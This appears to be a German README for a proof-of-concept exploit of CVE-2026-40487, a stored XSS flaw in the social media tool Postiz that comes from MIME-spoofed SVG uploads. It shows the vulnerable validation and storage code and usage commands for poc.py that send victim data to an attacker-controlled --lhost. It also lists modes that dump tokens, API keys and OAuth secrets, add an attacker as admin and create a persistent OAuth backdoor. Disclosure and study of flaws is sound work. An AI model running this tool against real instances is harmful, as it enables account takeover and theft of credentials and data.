
Proof-of-Concept-Exploit für CVE-2026-40487, das einen beliebigen Datei-Upload per MIME-Spoofing demonstriert, der zu gespeichertem XSS und Account-Übernahme in Postiz führt. Enthält mehrere Angriffsmodi für Datenextraktion, Privilegieneskalation und Persistenz.
Entdeckt und gemeldet von: Astaruf
Vollständiger Bericht: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
GHSA-Eintrag: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
CVE-Datensatz: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz ist ein Open-Source-Tool für Social-Media-Management mit 28+ Plattform-Integrationen (Instagram, X, LinkedIn, Facebook, TikTok, etc.), das von 600+ im Internet exponierten Instanzen genutzt wird.
Ein Angreifer mit niedrigen Privilegien kann eine bösartige SVG- (oder HTML-) Datei mit einem gespooften Content-Type: image/png-Header hochladen. Der Server akzeptiert die Datei, ohne deren tatsächlichen Inhalt zu prüfen, behält die ursprüngliche Dateiendung bei, und nginx liefert sie mit dem aus dieser Endung abgeleiteten Content-Type aus (image/svg+xml). Wenn ein Opfer die URL öffnet, wird das eingebettete JavaScript im Ursprung der Anwendung ausgeführt, was dem Angreifer vollständige Session-Riding-Fähigkeiten verleiht, die einer Account-Übernahme gleichkommen.
Die Angriffskette:
Angreifer lädt .svg mit Content-Type: image/png hoch
-> Server validiert nur den Content-Type-Header (CWE-345)
-> Datei wird mit ursprünglicher .svg-Endung auf der Festplatte gespeichert (CWE-434)
-> nginx liefert sie als image/svg+xml aus
-> Browser führt eingebettetes JavaScript aus (CWE-79)
-> Gleicher Ursprung: vollständiger Zugriff auf die Sitzung des Opfers
Das XSS-Payload wird gleichursprünglich (same-origin) mit der Anwendung ausgeführt. Obwohl das Auth-Cookie HttpOnly ist, hängt fetch() mit credentials: "include" es automatisch an. Der Angreifer kann:
pos_*-Token, das nie abläuft und Passwortänderungen übersteht)Drei Komponenten versagen unabhängig voneinander und erzeugen so die Exploit-Kette:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype stammt aus dem Content-Type-Header der Multipart-Anfrage, den der Angreifer kontrolliert. Keine Magic-Byte-Prüfung, keine Verwendung von Bibliotheken wie file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) extrahiert die Endung aus dem vom Client gelieferten Dateinamen. Keine Prüfung auf Konsistenz zwischen deklariertem MIME-Typ und Endung. Der Server gibt außerdem die vollständige öffentliche URL in der Antwort zurück, sodass der Angreifer den Link erhält, den er an das Opfer senden kann.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx mappt .svg auf image/svg+xml, .html auf text/html. Kein Content-Security-Policy, kein X-Content-Type-Options: nosniff, kein Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Prüfen, ob das Ziel verwundbar ist
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Alles vom Opfer exfiltrieren
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Eine persistente Hintertür erstellen
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Das Token ohne Anmeldedaten wiederverwenden
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Angreifer Server Postiz Opfer
| | |
|-- 1. Login/Registrierung --->| |
|-- 2. Bösartiges SVG hochladen ->| |
|<---- URL der Datei -----------| |
|-- 3. URL an Opfer senden ---------------------------> |
| |<--- 4. Öffnet URL ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS wird ausgeführt, exfiltriert Daten -----------|
| Modus | Beschreibung |
|---|---|
dump-self | Profil des Opfers, Organisationsinfo, Tarif, API-Schlüssel |
dump-personal | Anzeigename, Bio, Profilbild |
dump-integrations | Verbundene Social-Media-Integrationen und Tokens |
dump-posts | Geplante und Entwurfsbeiträge (letzte 365 Tage) |
dump-team | Teammitglieder, Rollen und E-Mail-Adressen |
dump-media | Auflistung der Medienbibliothek |
dump-notifications | Benachrichtigungsverlauf |
dump-signatures | Beitragssignaturen |
dump-webhooks | Konfigurierte Webhooks und deren URLs |
dump-oauth-app | OAuth-App-Anmeldedaten (clientId, secret) |
dump-copilot | KI-Copilot-Konversationsverläufe |
dump-billing | Abrechnungs- und Abonnementinformationen |
dump-settings | Shortlink- und Benachrichtigungseinstellungen |
dump-third-party | Konfigurationen von Drittanbieter-Integrationen |
dump-autopost | Autopost-Regeln |
dump-sets | Inhaltssets |
dump-tags | Beitrags-Tags |
dump-customers | Kundenliste |
full-dump | Alles oben Genannte in einem einzigen Payload |
| Modus | Beschreibung |
|---|---|
add-admin | Angreifer als ADMIN in die Organisation des Opfers einladen (--attacker-email) |
rotate-key | Organisations-API-Schlüssel rotieren und exfiltrieren |
rotate-oauth | OAuth-App-Secret rotieren und exfiltrieren |